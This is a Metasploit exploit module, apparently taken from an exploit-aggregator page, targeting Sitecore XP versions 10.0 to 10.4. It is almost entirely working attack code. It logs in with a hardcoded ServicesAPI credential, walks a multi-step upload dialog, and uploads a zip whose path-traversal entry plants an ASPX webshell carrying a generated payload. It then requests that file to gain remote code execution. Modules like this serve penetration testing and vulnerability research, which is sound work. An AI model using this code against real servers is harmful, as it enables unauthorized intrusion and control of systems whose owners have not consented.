Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-WINDOWS-HTTP-SITECORE_XP_CVE_2025_34510-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/zip'

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HTTP::SitecoreXp
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Sitecore XP CVE-2025-34510 Post-Authentication Remote Code Execution',
        'Description' => %q{
          This module exploits CVE-2025-34510, path traversal leading to remote code execution. The module exploits also CVE-2025-34509 - hardcoded credentials of ServicesAPI account - to gain foothold.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Piotr Bazydlo', # Discovery
          'msutovsky-r7' # Module Creator
        ],
        'References' => [
          ['CVE', '2025-34510'],
          ['URL', 'https://labs.watchtowr.com/is-b-for-backdoor-pre-auth-rce-chain-in-sitecore-experience-platform'],
          ['URL', 'https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003667']
        ],
        'DisclosureDate' => '2025-06-17',
        'DefaultTarget' => 0,
        'Platform' => 'win',
        'Targets' => [
          [
            'Windows',
            {
              'Arch' => [ARCH_X86, ARCH_X64]
            }
          ]
        ],
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )
    register_options([
      OptString.new('TARGETURI', [true, 'Path to the vulnerable endpoint', '/']),
    ])
  end

  def check
    return Exploit::CheckCode::Unknown('Could not log in, application might not be Sitecore') unless login_identitysrv('ServicesAPI', 'b')

    @is_logged = true

    return Exploit::CheckCode::Safe('Could not get elevated cookies') unless get_identity_cookies

    @is_elevated = true

    sitecore_version = get_version

    return Exploit::CheckCode::Vulnerable("Sitecore version detected #{sitecore_version}, which is vulnerable") if sitecore_version.between?(Rex::Version.new('10.0.0'), Rex::Version.new('10.4'))

    Exploit::CheckCode::Safe("Detected Sitecore version #{sitecore_version}, which is not vulnerable")
  end

  def upload_step(data)
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri('sitecore', 'shell', 'Applications', 'Dialogs', 'Upload', 'Upload2.aspx'),
      'vars_get' => { 'hdl' => 'sc_ct_trk' },
      'keep_cookies' => true,
      'vars_post' => data
    })
    res
  end

  def upload_zipslip
    fake_zip = "#{Rex::Text.rand_text_alphanumeric(10)}.zip"

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri('sitecore', 'shell', 'Applications', 'Dialogs', 'Upload', 'Upload2.aspx'),
      'vars_get' => { 'hdl' => 'sc_ct_trk' },
      'keep_cookies' => true
    })

    return false unless res&.code == 200

    hidden_inputs = res.get_hidden_inputs
    html_body = res.get_html_document

    view_state = html_body.at("input[@name='__VIEWSTATE']")

    file_el = html_body.xpath('//input').find { |link| link['name'] =~ /File([0-9]+)/ }

    return false unless hidden_inputs && view_state && file_el

    file_param = file_el['name']

    proto = datastore['ssl'] ? 'https' : 'http'

    res = upload_step({
      '__PARAMETERS' => 'FileChange',
      '__EVENTTARGET' => file_param,
      '__EVENTARGUMENT' => '',
      '__SOURCE' => file_param,
      '__EVENTTYPE' => 'change',
      '__CONTEXTMENU' => '',
      '__MODIFIED' => '',
      '__ISEVENT' => '1',
      '__SHIFTKEY' => '',
      '__CTRLKEY' => '',
      '__ALTKEY' => '',
      '__BUTTON' => 'undefined',
      '__KEYCODE' => 'undefined',
      '__X' => 'undefined',
      '__Y' => 'undefined',
      '__URL' => "#{proto}://#{datastore['vhost']}/sitecore/shell/Applications/Dialogs/Upload/Upload2.aspx%3Fhdl%3Dsc_ct_trk",
      '__CSRFTOKEN' => hidden_inputs.dig(0, '__CSRFTOKEN'),
      '__VIEWSTATE' => view_state['value'],
      'Language' => hidden_inputs.dig(0, 'Language'),
      'Item' => hidden_inputs.dig(0, 'Item'),
      'Path' => hidden_inputs.dig(0, 'Path'),
      'Unzip' => '0',
      'Overwrite' => hidden_inputs.dig(0, 'Overwrite'),
      file_param => 'C%3A%5Cfakepath%5C' + fake_zip,
      'ffSubmitForm' => ''
    })

    return false unless res&.code == 200

    json_data = res.get_json_document

    return false unless json_data.dig('commands', 1, 'value') =~ /name="File([a-zA-Z0-9]+)"/

    new_file_input = "File#{Regexp.last_match(1)}"

    res = upload_step({
      '__PARAMETERS' => '',
      '__EVENTTARGET' => 'NextButton',
      '__EVENTARGUMENT' => '',
      '__SOURCE' => 'NextButton',
      '__EVENTTYPE' => 'click',
      '__CONTEXTMENU' => '',
      '__MODIFIED' => '',
      '__ISEVENT' => '1',
      '__SHIFTKEY' => '',
      '__CTRLKEY' => '',
      '__ALTKEY' => '',
      '__BUTTON' => '0',
      '__KEYCODE' => 'undefined',
      '__X' => '1525',
      '__Y' => '1258',
      '__URL' => "#{proto}://#{datastore['vhost']}/sitecore/shell/Applications/Dialogs/Upload/Upload2.aspx%3Fhdl%3Dsc_ct_trk",
      '__CSRFTOKEN' => hidden_inputs.dig(0, '__CSRFTOKEN'),
      '__VIEWSTATE' => view_state['value'],
      'Language' => hidden_inputs.dig(0, 'Language'),
      'Item' => hidden_inputs.dig(0, 'Item'),
      'Path' => hidden_inputs.dig(0, 'Path'),
      'Unzip' => '0',
      'Overwrite' => hidden_inputs.dig(0, 'Overwrite'),
      new_file_input => '',
      file_param => 'C%3A%5Cfakepath%5C' + fake_zip,
      'ffSubmitForm' => ''
    })

    return false unless res&.code == 200

    res = upload_step({
      '__PARAMETERS' => '',
      '__EVENTTARGET' => 'NextButton',
      '__EVENTARGUMENT' => '',
      '__SOURCE' => 'NextButton',
      '__EVENTTYPE' => 'click',
      '__CONTEXTMENU' => '',
      '__MODIFIED' => '',
      '__ISEVENT' => '1',
      '__SHIFTKEY' => '',
      '__CTRLKEY' => '',
      '__ALTKEY' => '',
      '__BUTTON' => '0',
      '__KEYCODE' => 'undefined',
      '__X' => '1524',
      '__Y' => '1265',
      '__URL' => "#{proto}://#{datastore['vhost']}/sitecore/shell/Applications/Dialogs/Upload/Upload2.aspx%3Fhdl%3Dsc_ct_trk",
      '__CSRFTOKEN' => hidden_inputs.dig(0, '__CSRFTOKEN'),
      '__VIEWSTATE' => view_state['value'],
      'Language' => hidden_inputs.dig(0, 'Language'),
      'Item' => hidden_inputs.dig(0, 'Item'),
      'Path' => hidden_inputs.dig(0, 'Path'),
      'Unzip' => '0',
      'Overwrite' => hidden_inputs.dig(0, 'Overwrite'),
      new_file_input => '',
      file_param => 'C%3A%5Cfakepath%5C' + fake_zip,
      'ffSubmitForm' => ''
    })

    return false unless res&.code == 200

    res = upload_step({
      '__PARAMETERS' => 'upload:unzipclicked',
      '__EVENTTARGET' => 'UnzipCheck',
      '__EVENTARGUMENT' => '',
      '__SOURCE' => 'UnzipCheck',
      '__EVENTTYPE' => 'change',
      '__CONTEXTMENU' => '',
      '__MODIFIED' => '',
      '__ISEVENT' => '1',
      '__SHIFTKEY' => '',
      '__CTRLKEY' => '',
      '__ALTKEY' => '',
      '__BUTTON' => 'undefined',
      '__KEYCODE' => 'undefined',
      '__X' => 'undefined',
      '__Y' => 'undefined',
      '__URL' => "#{proto}://#{datastore['vhost']}/sitecore/shell/Applications/Dialogs/Upload/Upload2.aspx%3Fhdl%3Dsc_ct_trk",
      '__CSRFTOKEN' => hidden_inputs.dig(0, '__CSRFTOKEN'),
      '__VIEWSTATE' => view_state['value'],
      'Language' => hidden_inputs.dig(0, 'Language'),
      'Item' => hidden_inputs.dig(0, 'Item'),
      'Path' => hidden_inputs.dig(0, 'Path'),
      'Unzip' => '0',
      'Overwrite' => hidden_inputs.dig(0, 'Overwrite'),
      new_file_input => '',
      file_param => 'C%3A%5Cfakepath%5C' + fake_zip,
      'UnzipCheck' => '1',
      'ffSubmitForm' => ''
    })

    return false unless res&.code == 200

    res = upload_step({
      '__PARAMETERS' => '',
      '__EVENTTARGET' => 'NextButton',
      '__EVENTARGUMENT' => '',
      '__SOURCE' => 'NextButton',
      '__EVENTTYPE' => 'click',
      '__CONTEXTMENU' => '',
      '__MODIFIED' => '',
      '__ISEVENT' => '1',
      '__SHIFTKEY' => '',
      '__CTRLKEY' => '',
      '__ALTKEY' => '',
      '__BUTTON' => '0',
      '__KEYCODE' => 'undefined',
      '__X' => '1523',
      '__Y' => '1257',
      '__URL' => "#{proto}://#{datastore['vhost']}/sitecore/shell/Applications/Dialogs/Upload/Upload2.aspx%3Fhdl%3Dsc_ct_trk",
      '__CSRFTOKEN' => hidden_inputs.dig(0, '__CSRFTOKEN'),
      '__VIEWSTATE' => view_state['value'],
      'Language' => hidden_inputs.dig(0, 'Language'),
      'Item' => hidden_inputs.dig(0, 'Item'),
      'Path' => hidden_inputs.dig(0, 'Path'),
      'Unzip' => '0',
      'Overwrite' => hidden_inputs.dig(0, 'Overwrite'),
      new_file_input => '',
      file_param => 'C%3A%5Cfakepath%5C' + fake_zip,
      'UnzipCheck' => '1',
      'ffSubmitForm' => ''
    })

    return false unless res&.code == 200

    res = upload_step({
      '__PARAMETERS' => 'StartUploading',
      '__EVENTTARGET' => '',
      '__EVENTARGUMENT' => '',
      '__SOURCE' => '',
      '__EVENTTYPE' => '',
      '__CONTEXTMENU' => '',
      '__MODIFIED' => '',
      '__ISEVENT' => '1',
      '__CSRFTOKEN' => hidden_inputs.dig(0, '__CSRFTOKEN'),
      '__VIEWSTATE' => view_state['value'],
      'Language' => hidden_inputs.dig(0, 'Language'),
      'Item' => hidden_inputs.dig(0, 'Item'),
      'Path' => hidden_inputs.dig(0, 'Path'),
      'Unzip' => '1',
      'Overwrite' => hidden_inputs.dig(0, 'Overwrite'),
      new_file_input => '',
      file_param => 'C%3A%5Cfakepath%5C' + fake_zip,
      'UnzipCheck' => '1',
      'ffSubmitForm' => ''
    })

    return false unless res&.code == 200

    zip = Rex::Zip::Archive.new

    @webshell_file = "#{Rex::Text.rand_text_alpha(15)}.aspx"
    exe = generate_payload_exe
    asp = Msf::Util::EXE.to_exe_aspx(exe)

    zip.add_file('//\/../' + @webshell_file, asp)

    zip_data = zip.pack

    vars_form_data = [
      { 'name' => '__CSRFTOKEN', 'data' => hidden_inputs.dig(0, '__CSRFTOKEN') },
      { 'name' => '__VIEWSTATE', 'data' => view_state['value'] },
      { 'name' => 'Item', 'data' => hidden_inputs.dig(0, 'Item') },
      { 'name' => 'Language', 'data' => hidden_inputs.dig(0, 'Language') },
      { 'name' => 'Path', 'data' => hidden_inputs.dig(0, 'Path') },
      { 'name' => 'Unzip', 'data' => '1' },
      { 'name' => 'Overwrite', 'data' => hidden_inputs.dig(0, 'Overwrite') },
      { 'name' => file_param, 'data' => zip_data, 'content_type' => 'application/zip', 'encoding' => 'binary', 'filename' => fake_zip },
      { 'name' => new_file_input, 'data' => '', 'content_type' => 'application/octet-stream', 'filename' => '' }
    ]
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri('sitecore', 'shell', 'Applications', 'Dialogs', 'Upload', 'Upload2.aspx'),
      'vars_get' => { 'hdl' => 'sc_ct_trk' },
      'vars_form_data' => vars_form_data
    })

    return false unless res&.code == 200 && res.body.include?('Done')

    true
  end

  def trigger_payload
    send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(@webshell_file)
    })
  end

  def exploit
    if !@is_logged && !login_identitysrv('ServicesAPI', 'b')
      fail_with(Failure::NoAccess, 'Failed to log in, check the credentials')
    end

    if !@is_elevated && !get_identity_cookies
      fail_with(Failure::Unknown, 'Failed to get elevated cookies')
    end

    fail_with(Failure::PayloadFailed, 'Failed to upload malicious ZIP') unless upload_zipslip

    trigger_payload
  end
end